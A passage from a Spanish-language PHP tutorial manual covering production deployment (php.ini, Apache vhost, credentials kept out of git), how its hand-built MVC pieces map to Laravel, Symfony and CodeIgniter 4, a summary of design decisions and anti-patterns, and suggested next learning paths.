|---|---|---|
| < ~50k filas | fetchAll normal | más simple, suficiente |
| cientos de miles+ | Generator + php://output | memoria constante, primera fila sale YA |
Puntos clave
- Cabeceras attachment + text/csv: descarga limpia garantizada.
- BOM UTF-8 + fputcsv(): tildes OK y escape automático de comillas.
- Generadores para volúmenes grandes: memoria plana, salida inmediata.
- Neutraliza celdas iniciadas en =+-@: CSV injection es real.
30 · A producción
Avanzado ~16 minLa tienda funciona en tu laptop — ahora debe funcionar a las 2 de la mañana con clientes reales y sin ti mirando. Producción no es «subir los archivos»: es una lista de decisiones que separan un juguete encantador de un servicio responsable. Esta parte cierra con el checklist completo.
- Configurar PHP para morir en logs, no en pantallas.
- Separar credenciales del repositorio de código.
- Instalar el vhost correcto + HTTPS + caché OPcache.
PHP: dos personalidades
; /etc/php/8.5/fpm/php.ini — PRODUCCION
display_errors = Off ; el publico jamas ve stack traces
log_errors = On ; ...pero TU si, en el log
error_log = /var/log/php/error.log
opcache.enable = On ; bytecode cacheado: 2-3x mas rapido
opcache.validate_timestamps = 0 ; maxima velocidad (ver nota)
memory_limit = 256MEn desarrollo todo al revés: display_errors=On,
validate_timestamps=1. El mismo binario, dos perfiles por ini.
validate_timestamps=0: PHP deja de revisar si los
archivos cambiaron — velocidad máxima, pero cada deploy exige
systemctl reload php8.5-fpm o el servidor servirá código viejo eternamente.
Es la causa #1 de «en mi laptop funciona».Credenciales fuera del git
<?php
// config/config.php — EJEMPLO versionado (valores falsos)
return [
'dsn' => 'pgsql:host=localhost;dbname=tienda',
'usuario' => 'tienda',
'clave' => 'CAMBIAR_EN_SERVIDOR',
];
// En el servidor real: config.local.php (gitignored) lo pisa:
$config = require BASE_PATH . '/config/config.php';
if (is_file($local = BASE_PATH . '/config/config.local.php')) {
$config = array_merge($config, require $local);
}La clave de BD jamás viaja en un commit — ni «solo esta vez». Los secretos filtrados viven para siempre en la historia del repo.
Apache apuntando donde debe
<VirtualHost *:80>
ServerName tienda.midominio.pe
DocumentRoot /var/www/tienda/public <-- SOLO public, como cap. 26
<Directory /var/www/tienda/public>
AllowOverride All <-- respeta tu .htaccess de rewrite
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/tienda-error.log
CustomLog ${APACHE_LOG_DIR}/tienda-access.log combined
</VirtualHost>La red de seguridad global
Cualquier Throwable que escape hoy mata la página con un 200 vacío o un stack trace. La última línea de defensa vive en index.php:
<?php
// index.php — envoltorio final
set_exception_handler(function (Throwable $e): void {
error_log('[TIENDA] ' . $e->getMessage() . ' @ '
. $e->getFile() . ':' . $e->getLine());
http_response_code(500);
echo vista('errores/500', [], layout: null); // pagina amable, cero detalle
});
// Health check para monitores externos (uptime robots):
if ($_SERVER['REQUEST_URI'] === '/salud') {
header('Content-Type: application/json');
echo json_encode(['ok' => true]);
exit;
}El checklist de despliegue
| Capa | Desarrollo | Producción |
|---|---|---|
| Servidor | php -S | Apache vhost + FPM |
| Errores | pantalla | log + página amable |
| Caché | off | OPcache agresivo |
| Secretos | config.php | config.local.php (gitignored) |
| Transporte | http localhost | HTTPS via certbot |
Puntos clave
- display_errors Off SIEMPRE en producción; errores van al log.
- Credenciales via config.local.php gitignored — nunca en commits.
- vhost → public/, certbot para HTTPS, reload FPM tras cada deploy.
- exception handler global + /salud: dignidad y monitoreo baratos.
31 · Laravel: el mismo esqueleto
Avanzado ~16 minAbrir la documentación de Laravel después de este manual produce una sensación extraña: todo suena conocido. Porque ES conocido — cada pieza que construiste a mano tiene allí su equivalente industrial. Este capítulo traza el mapa uno a uno para que pases de «entender el patrón» a «navegar el framework» sin esfuerzo.
- Mapear cada componente artesanal a su equivalente Laravel.
- Reconocer el front controller y las rutas como viejos amigos.
- Reescribir guardar() usando las herramientas del framework.
La tabla de traducción
| Lo nuestro (caps.) | Laravel | Qué ganó |
|---|---|---|
| public/index.php (12) | public/index.php ¡mismo nombre! | igual, con kernel HTTP |
| .htaccess rewrite (7) | idéntico concepto | nada — era correcto |
| config/rutas.php (9–11) | routes/web.php | sintaxis fluida, cacheo |
| Container + reflexión (12) | Service Container | auto-resolución profunda, bindings |
| vista() + layouts (13–14) | view() + Blade | plantillas compiladas, @extends/@include |
| e() obligatorio (15) | {{ }} escapa SIEMPRE | imposible olvidarlo |
| PedidoVista (16) | API Resources | mismo idea, serialización incluida |
| ValidadorPedido (19) | FormRequest con rules[] | integrado con redirect automático de errores |
| PdoPedidoRepositorio (18) | Eloquent / DB facade | hidratación y relaciones automáticas |
| crearConDetalles() (20) | DB::transaction(fn () => ...) | mismo try/catch, menos líneas |
| flash() + PRG (23–24) | ->with('success', ...) | una cadena fluida |
| ControladorBase (25) | clase Controller + traits | AuthorizesRequests, ValidatesAccess... |
¿Ves el patrón? Nada conceptual es nuevo. Lo que compraste al instalar Laravel fue pulido, documentación y ecosistema — la arquitectura ya estaba en ti.
guardar(), reescrito
<?php
// routes/web.php — nuestra tabla de rutas, dialecto fluido
Route::get('/pedidos', [PedidoController::class, 'index']);
Route::post('/pedidos', [PedidoController::class, 'store']);
Route::get('/pedidos/{pedido}', [PedidoController::class, 'show']);<?php
class PedidoController extends Controller
{
// StorePedidoRequest = nuestro ValidadorPedido con reglas declarativas
public function store(StorePedidoRequest $req): RedirectResponse
{
// route model binding: {pedido} ya llega resuelto o 404 solo
$datos = $req->validated();
$id = DB::transaction(function () use ($datos) {
$pedido = Pedido::create([
'cliente_id' => $datos['cliente_id'],
'total' => $this->calcTotal($datos['items']),
]);
$pedido->detalles()->createMany($datos['items']);
return $pedido->id;
});
return redirect("/pedidos/$id") // PRG
->with('success', "Pedido #$id registrado."); // flash
}
}Léelo despacio: validación declarativa, transacción envolvente, PRG con flash — TODAS nuestras decisiones, en dialecto framework.
Puntos clave
- Laravel ES nuestra arquitectura con muebles industriales.
- Front controller, rutas, contenedor, vistas, flash: mapeo uno a uno.
- Blade
{{ }}institucionaliza nuestra disciplina del e(). - Saber qué hay DEBAJO convierte la curva del framework en cuesta suave.
32 · Symfony y CodeIgniter
Avanzado ~15 minLaravel es solo un dialecto. Symfony y CodeIgniter hablan el mismo idioma — MVC con front controller — pero con acentos distintos que conviene reconocer de oído. Al terminar este capítulo podrás abrir CUALQUIER proyecto PHP moderno y ubicarte en minutos, porque el mapa mental ya lo tienes.
- Reconocer nuestras piezas dentro de Symfony (componentes + Twig).
- Ver por qué CodeIgniter 4 es el pariente más parecido al artesanal.
- Elegir framework con criterio, no por moda.
Symfony: piezas de precisión suiza
<?php
// src/Controller/PedidoController.php — las rutas VIVEN en la clase
use Symfony\Component\Routing\Attribute\Route;
final class PedidoController extends AbstractController
{
#[Route('/pedidos/{id}', name: 'pedido_ver', requirements: ['id' => '\d+'])]
public function ver(int $id, PedidoRepositorio $repo): Response
{
// inyeccion por tipo: nuestro contenedor de fabricas, version orquesta
return $this->render('pedidos/ver.html.twig', [
'vm' => PedidoVista::desdeDominio($repo->encontrar($id)),
]);
}
}{# plantillas/pedidos/ver.html.twig — Twig escapa {{ }} automaticamente #}
<h1>Pedido #{{ vm.id }}</h1>
<p>Cliente: {{ vm.cliente }}</p>
<span class="{{ vm.claseBadge }}">{{ vm.estado }}</span>Las equivalencias: atributos #[Route] = nuestra tabla declarativa (cap. 9) pegada al método; el contenedor de servicios = nuestras fábricas con reflexión (cap. 12) elevadas a estándar de industria; Twig = Blade con otra sintaxis y la MISMA regla del escape automático. Nuestro view model (cap. 16) pasa intacto — buena arquitectura sobrevive al cambio de motor de plantillas.
CodeIgniter 4: el primo cercano
<?php
// app/Controllers/Pedidos.php — casi nuestro cap. 22 tal cual
class Pedidos extends BaseController
{
public function guardar(): RedirectResponse
{
// validation.php config + $this->validate(): nuestra bolsa de errores
if (!$this->validate(['cliente' => 'required|min_length[3]'])) {
return redirect()->back()->withInput()
->with('errors', $this->validator->getErrors());
}
$this->pedidosModel->insert($datos); // modelo estilo CI4
return redirect()->to("/pedidos/{$id}")
->with('success', "Pedido #$id registrado."); // flash nativo
}
}CI4 conserva la filosofía «MVC sin ceremonias»: controladores planos, helper
view() gemelo de nuestra vista(), sesiones con flash integradas.
Si tu hosting compartido corre PHP viejo o quieres curva mínima para un equipo junior,
CI4 es la puerta más corta desde este manual.
Los tres, lado a lado
| Concepto | Nuestro (caps.) | Laravel | Symfony | CodeIgniter 4 |
|---|---|---|---|---|
| Rutas | rutas.php (9) | web.php fluido | #[Route] | Routes.php |
| Plantillas | vista()+layout (13–14) | Blade | Twig | view() + parser opcional |
| Escape auto | e() manual (15) | {{ }} | {{ }} | = esc()? manual-ish |
| Contenedor | fábricas+reflexión (12) | sí, completo | sí, el estándar | ligero/opcional |
| Validación | bolsa errores (19) | FormRequest | Constraints | $validation service |
| Peso/curva | cero dependencias | medio-alta | alta | baja |
Puntos clave
- Tres frameworks = tres acentos del idioma MVC que ya hablas.
- Symfony: precisión y componentes; sus piezas viven DENTRO de Laravel.
- CodeIgniter 4: la migración más natural desde nuestro artesano.
- El patrón se lleva puesto; el framework se cambia de ropa.
33 · Mapa de decisiones
Intermedio ~14 minTreinta y dos capítulos tomando decisiones — es momento de la foto final: qué se decidió, dónde, por qué, y qué alternativas quedaron en el camino. Esta página es tu índice de consulta rápida; vuelve a ella cada vez que un proyecto nuevo te haga dudar.
- Repasar el inventario completo de componentes y su capítulo natal.
- Fijar las reglas de casa que sostienen todo el edificio.
- Tener a mano el catálogo de antipatrones con sus curas.
Inventario de la construcción
| Componente | Caps. | Decisión central | Alternativa rechazada |
|---|---|---|---|
| Punto único de ingreso | 4–6 | index.php recibe TODO | PHP suelto por carpeta |
| Rutas amigables | 7–8 | rewrite → rutaActual() | ?controlador=...&accion=... |
| Tabla declarativa | 9–10 | rutas como datos + regex {id} | switch gigante |
| 405 semántico | 11 | ExcepcionMetodo + Allow: | 404 para todo |
| Despacho reflexivo | 12 | fábricas + constructor recursivo | new manual en cada sitio |
| vista() con buffer | 13 | capturar antes de enviar | echo directo en plantilla |
| Layouts/partials | 14 | $contenido como puente | duplicar esqueleto HTML |
| e() sistemático | 15 | cero interpolaciones desnudas | «confío en mis usuarios» |
| View models | 16 | datos listos para pintar | lógica en plantillas |
| Entidades readonly | 17 | enum + tipos ricos | arreglos asociativos |
| Repositorio PDO | 18 | SQL vive SOLO ahí | queries en controladores |
| Bolsa de errores | 19 | campo→mensaje + 422 | die('dato malo') |
| Transacciones | 20 | en el repo, re-throw | inserts sueltos «y rezar» |
| Negocio en modelo | 21 | total calculado, estados validados | reglas en el controlador |
| PRG + flash | 23–24 | 303 tras mutación exitosa | 200 directo al POST |
| Base medida | 25 | solo duplicación REAL | herencia especulativa |
| Deploy responsable | 30 | logs sí, pantallas no | display_errors On «para ver» |
Las reglas de casa (memorízalas)
1. Ninguna accion hace echo: devuelve HTML o redirige.
2. Ninguna plantilla imprime <?= $x ?> sin e() o cast numerico.
3. El total JAMAS llega del cliente: se recalcula siempre.
4. El SQL vive solo en repositorios, con sentencias preparadas.
5. Toda mutacion multiple va en transaccion dentro del repo.
6. Todo POST exitoso termina en 303 + Location + flash.
7. La base comun exige duplicacion demostrada, no profecia.
8. En produccion los errores van al log, nunca a la pantalla.Antipatrones: síntoma → cura
| Síntoma | Diagnóstico | Cura (cap.) |
|---|---|---|
| Método guardar() de 100 líneas | fat controller | negocio al modelo (21) |
| SELECT dentro de plantilla | modelo anémico + vista activa | repo + view model (16/18) |
| «José» o script ejecutado | salida sin escapar | e() obligatoria (15) |
| Pedidos duplicados por F5 | POST respondiendo 200 | PRG (23) |
| Pedido sin detalles en BD | escritura sin transacción | crearConDetalles (20) |
| Miedo a tocar ControladorBase | clase-zorro omnisciente | base mínima medida (25) |
| Funciona en laptop, no en server | opcache/ini divergentes | checklist deploy (30) |
Puntos clave
- Cada componente tiene acta de nacimiento: capítulo + decisión + alternativa.
- Ocho reglas de casa resumen 32 capítulos — caben en una tarjeta.
- Los antipatrones tienen cura conocida y capítulo de referencia.
- Si puedes reconstruir las piezas de memoria, el manual cumplió.
34 · Rutas de continuación
Intermedio ~12 minÚltimo capítulo — y el único que no termina nada: te deja empezando. Primero el examen de graduación, luego tres caminos según tu horizonte. Elige uno, hazlo completo, y este manual habrá cumplido su destino.
- Aprobar el ejercicio final integrador: el recurso Productos.
- Elegir ruta de profundización con criterio (testing, framework, operación).
- Cerrar con la perspectiva correcta: patrones > herramientas.
Examen de graduación: recurso Productos
Si lo resuelves en una tarde sin releer los capítulos, la arquitectura ya es tuya — no la memorizaste: la HABITASTE.
Camino A — Profundizar en PHP puro
<?php
// El primer paso serio: pruebas automatizadas (PHPUnit)
public function test_total_se_recalcula_y_no_confia_del_cliente(): void
{
$b = new PedidoBorrador(clienteId: 3);
$b->agregar('Cafe', 2, 12.50);
$this->assertSame(25.00, $b->total()); // regla viva, verificada
}Nuestro dominio es PURO por diseño — prueba en milisegundos sin BD ni servidor. Sigue con: PHPUnit sobre entidades y validadores → mocks del repositorio → tests de integración con SQLite en memoria. Después: colas con database worker, autenticación con password_hash, y migraciones versionadas.
Camino B — Saltar al framework
Toma la tabla del capítulo 31 y reconstruye la tienda en Laravel, pieza por pieza. La regla: cada vez que algo «magia» — detente y nombra cuál de NUESTRAS piezas está haciendo ese trabajo debajo. Si no puedes nombrarlo, vuelve al capítulo correspondiente antes de seguir. El framework se convierte en confirmación, no en revelación.
Camino C — Operación real
Si tu meta es poner la tienda EN LINEA mañana: Docker para replicar el entorno exacto en cualquier máquina, GitHub Actions para correr tus tests en cada push, y un VPS con el checklist del capítulo 30 ejecutado a mano UNA vez — para que sepas qué automatiza cada herramienta que uses después.
| Camino | Primer paso concreto | Señal de avance |
|---|---|---|
| A · Profundidad | PHPUnit sobre PedidoBorrador | suite verde en <1 s |
| B · Framework | rutas web.php equivalentes | CRUD clientes funcionando |
| C · Operación | Dockerfile + checklist cap. 30 | /salud verde en VPS |
Palabras finales
Empezamos con un echo "Hola" avergonzado de sí mismo. Terminamos con un
mini-framework de diecisiete decisiones defendibles y una tienda completa encima. Entre
ambos puntos hay una verdad simple que vale para todo lenguaje y todo framework:
el mejor código es el que entiendes tan bien que podrías haberlo escrito tú.
Ahora puedes.
Puntos clave
- Examen final: recurso Productos completo sin tocar piezas existentes.
- Tres caminos legítimos: profundidad, framework u operación — todos empiezan hoy.
- El dominio puro se testea en milisegundos: esa fue la recompensa oculta.
- Patrones permanecen, herramientas rotan: invertiste en lo duradero.